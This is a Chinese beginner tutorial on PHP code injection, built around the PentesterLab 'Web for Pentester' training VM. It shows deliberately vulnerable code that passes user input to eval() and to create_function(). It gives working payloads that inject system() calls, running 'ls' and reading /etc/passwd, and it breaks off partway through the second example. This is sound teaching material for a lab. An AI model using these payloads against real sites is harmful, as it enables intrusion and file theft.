PentesterLab新手教程(一):代码注入
作者:网友投稿 时间:2018-04-27 09:19
Web for pentester 是国外安全研究者开发的的一款渗透测试平台。
这个平台包含的主要漏洞如下:
Code injection (代码注入)
Commands injection(命令行注入)
XSS(跨站脚本)
SQL injections(sql注入)
File include(文件包含)
LDAP attacks(LDAP攻击)
File Upload(文件上传)
XML attacks(XML攻击)
个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。
PentesterLab安装安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。
官网地址&下载地址
Code injection (代码注入)本文介绍Code injection的内容,其他模块教程会在后续给出。
php代码注入漏洞造成的主要原因是过滤不严格,造成恶意代码被执行。该漏洞主要是函数的参数过滤不严格所致,严重时可以直接写入webshell。
Example1后端代码
<?php require_once("../header.php"); ?> <?php $str="echo \"Hello ".$_GET['name']."!!!\";"; //echo $str."<br>"; eval($str); ?> <?php require_once("../footer.php"); ?>代码解释
php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。
注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。
这里有一点不知道大家注意到没,如果你构造的语句也有问题,网页就是报错,报错信息如下:
Parse error: syntax error, unexpected '<' in /var/www/codeexec/example1.php(13) : eval()'d code on line 1暴露了当前php文件的绝对路径和报错函数,这也算是一条有用的信息吧。
利用方式
1. 执行系统命令
poc: ?name=%22.system(%27ls%27);// 注:敲黑板了,这里的`//`·是php里面的注释符号,注释掉后面的语句。 ?name=%22.system(%27ls%27);%20$a=%22 注:这样也是可以的啦,`;`表示一条单独的语句,后面的没用的赋值给一个变量来起到注释作用,这个sql注入里用and '1' = '1来闭合单引号是一样的道理。 上面的返回页面: echo "Hello ".system('ls'); $a="!!!"; example1.php example2.php example3.php example4.php index.html Hello index.html ?name=%22.system('cat /etc/passwd');// 查看系统关键文件再次敲黑板
有些新同学可能要问了echo "Hello ".system('ls'); 这条语句中点号是字符串拼接,不是应该返回Hello+ls的结果吗?为什么这里面的返回值不是这样。这里我简单给新同学科普一下。
举个栗子:
echo '1+3='.1+3 输出结果是4
echo '1+3='.3+1 输出结果是2
上面可以看到php会先拼接字符串,然后强制转换成int型,然后运算输出结果。
拼接字符串得到1+3=1强制转换int型得到1,然后运算1+3得到4,所以输出结果就是4了,上面差不多就是这样,这方面就不要深究了,有输出就可以了。
Example 2后端代码
<?php require_once("../header.php") ?> <?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); } } ?> <table > <tr> <th><a href="http://www.freebuf.com/sectool/example2.php?order=id">id</th> <th><a href="http://www.freebuf.com/sectool/example2.php?order=name">name</th> <th><a href="http://www.freebuf.com/sectool/example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; require '../footer.php'; ?> <?php require_once("../footer.php") ?>代码分析
usort() 使用用户自定义的比较函数对数组进行排序。语法:usort(array,myfunction);
usort()经常与该功能create_function一起使用,以基于用户控制的信息动态生成“分类”功能。如果Web应用程序缺乏有效的筛选和验证,则可能导致代码执行。
所以我们把焦点放到这行代码上usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));,可能新同学还说看不懂,别着急,先举个例子:
craete_function('$a','echo "hello".$a)这个函数其实就相当于:
function Hello($a) { echo 'Hello'.$a; }前面是函数变量部分,后面是代码部分,前面变量传给了后面的参数。




